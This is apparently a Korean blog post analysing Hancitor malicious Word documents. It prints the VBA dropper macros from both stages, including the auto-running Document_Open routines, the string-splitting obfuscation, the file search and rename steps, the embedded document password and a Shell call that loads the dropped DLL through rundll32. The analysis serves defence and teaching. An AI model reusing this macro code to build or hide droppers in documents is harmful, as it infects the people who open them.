본문 바로가기

Reversing/Malware Analysis

[HANCITOR] 악성코드 분석(1) - 악성 문서 형식으로 유포되는 악성코드

목차

  • 1. 악성코드 개요
    1.1) 개요
    1.2) 분석 환경
  • 2. 상세 분석
    2.1) 행위 분석
    2.2) VBA 매크로 분석 - 0929_9545200010193.doc
         2.2.1) AutoExec – Document_Open
         2.2.2) Module3 - bvxfcsd
         2.2.3) Module123345 - Search, nam
         2.2.4) Module1 - pppx
    2.3) VBA 매크로 분석 - zoro.doc
         2.3.1) AutoExec - Document_Open
         2.3.2) Module3.bas - bvxfcsd
         2.3.3) Module1.bas - nam, ousx
    2.4) 주요 기능 (최종 페이로드)
  • 3. 결론
  • 4. 참고문헌

 

 

 

 

1. 악성코드 개요

 

1.1) 개요

Hancitor 감염 벡터

 

Hancitor(일명 Chanitor)는 2013년에 처음 등장하였으며, 주로 악성 링크가 포함된 피싱 메일 및 무기화된 Microsoft Office 문서에 포함된 악성 매크로를 통해 사회 공학 기법으로 확산되었다.

주요 감염 벡터는 스팸 메일이며 사용자를 속여 악성 Word 문서(매크로 포함)를 열도록 유도하여 악성코드 실행을 유발한다. 특히 악성 문서에 포함된 매크로 코드는 피해자 시스템에서 FickerStealer, Cobalt Strike beacon, spambot 등 악성코드를 다운로드하고 실행하는 데 사용된다.

 

 

 

1.2) 분석 환경

OS Windows 10 22H2 (build 19045.5965) - VMware
Tool olevba, oledump

 

 

 

2. 상세 분석

 

2.1) 행위 분석

그림 1) 콘텐츠 사용 요구

 

사용자가 Word 문서를 열면 “매크로를 사용할 수 없도록 설정했습니다”라는 보안 경고와 함께, 편집 및 콘텐츠 활성화를 유도하는 이미지가 문서에 표시된다. 이는 해당 문서에 매크로 코드가 포함되어 있음을 암시하며 사용자가 콘텐츠 활성화 버튼을 클릭할 경우 악성 매크로가 실행될 가능성이 존재한다.

 

그림2) oledump

 

oledump 도구를 사용하여 문서 파일을 확인한 결과 VBA 매크로와 OLE(객체 연결 및 삽입) 객체가 문서에 포함되어 있음을 확인할 수 있었다. 특히 Module1, Module123345, Module3, ThisDocument 스트림에는 M 표시가 나타나며 \x01Ole10Native 스트림에는 O 표시가 나타나는데 이는 각각 해당 스트림이 VBA 매크로와 OLE 객체임을 의미한다.

OLE 객체가 문서 내에서 어떻게 사용되며 이를 통해 감염이 이루어지는지 확인하기 위해 Olevba 도구를 활용하여 VBA 매크로에 대한 분석을 진행하였다.

그림3) olevba로 덤프된 VBA 매크로

 

Olevba 분석 결과, 문서를 열었을 때 자동으로 실행되는 Document_Open 이벤트와 함께 파일 열기, 실행, DLL 호출, Base64 인코딩 등 잠재적으로 악성 행위를 수행할 수 있는 이벤트가 확인되었다.

 

 

2.2) VBA 매크로 분석 - 0929_9545200010193.doc

File name 0929_9545200010193.doc
MD5 58ee7d9fd3de8e9e0b2344784ab3d112
SHA-256 fda181a36f090bad64cdbe07d07fad501a93561581533712d00ad9ecabd70b17
File type MS Word Document
File size 805.00 KB (824320 bytes)
Creation Time 2021-09-29 09:45:00 UTC
categories trojan, dropper, downloader

 

 

2.2.1)AutoExec – Document_Open

Private Sub Document_Open()
    Call s1("Lo")
    Call s2("cal/")
    Call ass
    Call acc
    kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

    If Dir(kytrewwf & "\" & "zoro" & ".d" & vssfs) = "" Then
        mySum = Application.Run("bvxfcsd")
        If Len(nccx) > 2 Then
            Call nam(nccx, kytrewwf)
            Call pppx(kytrewwf & "\" & "zoro" & ".d" & vssfs)
        End If
    End If
End Sub

 

 

문서를 열면 자동으로 실행되는 Document_Open 루틴은 사용자 템플릿 폴더(\AppData\Local\Temp)에 특정 파일의 존재 여부를 확인한다. 해당 조건이 충족될 경우 nampppx 서브루틴을 호출하여 파일 이름을 변경하고 이를 실행하며 파일이 존재하지 않을 경우 bvxfcsd() 루틴을 수행하도록 설계되어 있다.

또한 안티바이러스 탐지를 우회하기 위해 각 문자열을 분해하고 Word 문서에서 직접 덤프되지 않도록 난독화 기법이 적용되어 있음을 확인할 수 있다.

 

 

 

2.2.2) Module3 - bvxfcsd

Sub bvxfcsd()
    wers = "T" & "e"
    
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    
    Selection.TypeBackspace
    Selection.Copy
    
    Dim uuuuc
    uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)
    
    ntgs = 50
    sda = 49
    
    Dim poidds As String
    qweds = "m" & "p"
    Dim kuls As String
    
    poidds = mgf & uhjknb & wers & qweds
    fafaa = poidds
    
    While sda < 50
        ntgs = ntgs - 1
        
        If Dir(Left(uuuuc, ntgs) & fafaa, vbDirectory) = "" Then
        Else
            sda = 61
        End If
    Wend
    
    Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub

 

bvxfcsd 루틴의 주요 동작은 문서 내에서 커서를 이동시키고 문자를 삭제(TypeBackspace)하며 선택 영역을 복사(Copy)하는 작업으로 구성된다. 이러한 동작은 문서 내용을 기반으로 후속 작업, 즉 파일 생성 및 실행을 하기 위한 전형적인 패턴으로 식별될 수 있다. 이후 이 루틴은 hdhdd 루틴을 호출하여 지정된 경로에서 악성 파일 탐색을 수행한다.

 

Sub hdhdd(asda As String)
    Dim MyFSO As FileSystemObject
    Dim MyFile As File
    Dim SourceFolder As String
    Dim DestinationFolder As String
    Dim MyFolder As Folder
    Dim MySubFolder As Folder
    Set MyFSO = New Scripting.FileSystemObject


    Call Search(MyFSO.GetFolder(asda), nccx)

End Sub

 

hdhdd() 루틴은 bvxfcsd() 루틴에서 계산된 경로를 인자로 받아 해당 경로 내에서 파일을 탐색하는 기능을 수행한다. 이후 이어서 호출되는 Search() 루틴에 대한 세부 내용은 아래에서 설명한다.

 

 

 

2.2.3) Module123345 - Search, nam

Sub Search(mds As Object, pafs As String)
    For Each Nedc In mds.SubFolders
        Search Nedc, pafs
    Next Nedc
    For Each Ters In mds.Files
        If Ters.Name = "zoro.kl" Then pafs = Ters
    Next Ters
End Sub

Sub nam(pafs As String, aaaa As String)
	Dim oxl
    oxl = "\zoro.doc"
    Name pafs As pls & oxl
End Sub

 

Search() 루틴은 재귀적으로 지정된 폴더 내 모든 파일과 하위 폴더를 탐색하여 "zoro.kl" 파일을 찾는 기능을 수행한다.

이후 nam() 루틴에서는 탐색된 파일의 이름을 변경하는 작업을 수행하며 구체적으로 "zoro.kl" 파일을 "zoro.doc"로 변환한다.

 

 

 

2.2.4) Module1 - pppx

Sub pppx(pili As String)

    Documents.Open FileName:=pili, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="doyouknowthatthegodsofdeathonlyeatapples?", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub

 

pppx() 루틴은 이름이 변경된 "zoro.doc" 파일을 여는 작업을 수행하며, 이때 문서에는 비밀번호 "doyouknowthatthegodsofdeathonlyeatapples?"가 설정되어 있는 것으로 확인된다.

 

그림4) 문서에 포함된 ole 객체

 

(그림 4)에서 표시된 작은 박스는 문서에 내장된 OLE 객체를 나타낸다.

 

그림5) 드롭되는 파일

 

VBA 매크로가 실행되면 (그림 5)와 같이 객체가 "zoro.kl" 파일로 드롭된다. 해당 파일은 매크로 코드에서 추가로 실행되는 두 번째 단계의 Word 문서이며, 그 동작 방식을 확인하기 위해 다음 VBA 매크로의 세부 동작을 분석한다.

 

 

 

2.3) VBA 매크로 분석 - zoro.doc

File name zoro.kl
MD5 75fd0e273b0a955ba224523bc951326b
SHA-256 214f2c79568beb80b2476525003d3c880e5db7140074b9d6daa53c7f5b5de7e5
File type MS Word Document
File size 185.50 KB (189952 bytes)

 

해당 파일의 정적 분석 결과, MS Word Document 형식의 문서 파일임을 확인할 수 있다.

그림6) olevba error

 

"zoro.kl" 파일을 "zoro.doc"로 이름을 변경한 후, olevba 도구를 이용하여 덤프 작업을 수행하였으나 첫 번째 문서와 달리 해당 파일에는 암호가 설정되어 있어 에러 메시지가 출력된다.

이에 첫 번째 문서의 VBA 매크로에서 확인된 문서 비밀번호를 입력하여 덤프 작업을 진행하였다.

olevba zoro.doc -p doyouknowthatthegodsofdeathonlyeatapples?

 

그림7) olevba - zoro.doc

 

해당 문서에도 Document_Open 이벤트가 등록되어 있으며, ShellCall 함수를 통해 외부 파일 실행과 DLL 호출이 확인되었다. 또한, 실제 악성 파일을 실행하는 행위로 추정되는 "2.exe"가 발견되었다.

 

 

 

2.3.1) AutoExec - Document_Open

Private Sub Document_Open()
    bbbb = "ru" & "ndl" 
    vcbc = Options.DefaultFilePath(wdUserTemplatesPath)

    If Dir(vcbc & "\gelforr.dap") = "" Then
        Selection.MoveDown ...
        Selection.TypeBackspace
        Selection.Copy

        Call bvxfcsd

        If Len(hdv) > 2 Then
            Call nam(hdv)
            
            pattison = "\gelforr.dap"
            cvzz = "l3" & "2.exe"
            
            Shell (bbbb & cvzz & " " & vcbc & pattison & ",BNJAFSRSQIX")
            ActiveDocument.Close
        End If
    End If
End Sub

 

Document_Open 루틴에서는 "gelforr.dap" 파일의 존재 여부를 확인한다. 첫 번째 문서와 유사한 패턴으로, 해당 파일이 존재하지 않을 경우 문서의 Selection을 조작하고 bvxfcsd() 루틴을 호출하여 객체를 드롭하도록 설계되어 있다.

 

 

 

2.3.2)  Module3.bas - bvxfcsd

Sub bvxfcsd()
    uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)
    ewrwsdf = "Local/Temp"
    
    ntgs = 50
    sda = 49

    While sda < 50
        ntgs = ntgs - 1
        If Dir(Left(uuuuc, ntgs) & ewrwsdf, vbDirectory) <> "" Then
            sda = 61
        End If
    Wend

    Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & ewrwsdf)
End Sub

 

Sub hdhdd(asda As String)
    Set MyFSO = New Scripting.FileSystemObject
    Call Search(MyFSO.GetFolder(asda), hdv)
End Sub

 

bvxfcsd() 루틴에서는 Word 템플릿 기본 경로와 "Local/Temp" 경로를 결합하여 해당 폴더가 존재하는지 탐색하는 동작을 수행한다.

 

 

2.3.3) Module1.bas - nam, ousx

 

Sub nam(pafs As String)
    Call ousx
    oxl = "\gelforr.dap"
    Name pafs As pls & oxl
End Sub

Sub ousx()
    Call uoia(Options.DefaultFilePath(wdUserTemplatesPath))
End Sub

Sub uoia(fffs As String)
    pls = fffs
End Sub

 

탐색된 악성 파일은 Word 템플릿 폴더로 이동되며, 파일 이름이 변경된다. 구체적으로, "gelforr.dap" 파일이 "gelfor.dap"로 기록되며 최종 파일 경로는 UserTemplatesPath\gelfor.dap이다.

 

 

 

2.4) 주요 기능 (최종 페이로드)

cvzz = "l3" & "2.exe"
Shell (bbbb & cvzz & " " & vcbc & pattison & ",BNJAFSRSQIX")

 

분해된 문자열을 조합하여 구성된 최종 쉘코드는 다음과 같다.

 

rundll32.exe UserTemplatesPath\gelfor.dap, BNJAFSRSQIX

 

 

 

3. 결론

그림8) gelfor.dap

 

해당 문서에서 확인한 Hancitor 매크로의 핵심 루틴은 AutoExec → 탐색 → 파일 이름 변경 → 악성 파일 실행의 순서로 구성되어 있다. 해당 매크로는 각 문자열을 분해하고 호출 루틴을 난독화함으로써 안티바이러스 탐지 회피 및 분석 방해 기능을 구현하고 있음을 알 수있다.

특히 "BNJAFSRSQIX"라는 실행 인수를 이용하여 rundll32.exe를 통해 gelforr.dap DLL을 로드하는 방식으로 악성 동작을 수행하는 것으로 관찰되었다.

 

 

해당 DLL의 상세 분석 내용은 차후 게시물에서 작성할 예정입니다.

 

 

4. 참고 문헌

 

[1] https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/
(UNIT 42 - Hancitor’s Use of Cobalt Strike and a Noisy Network Ping Tool)

 

[2] https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-maldoc-analysis/

(0ffset.net - HANCITOR: Analysing The Malicious Document)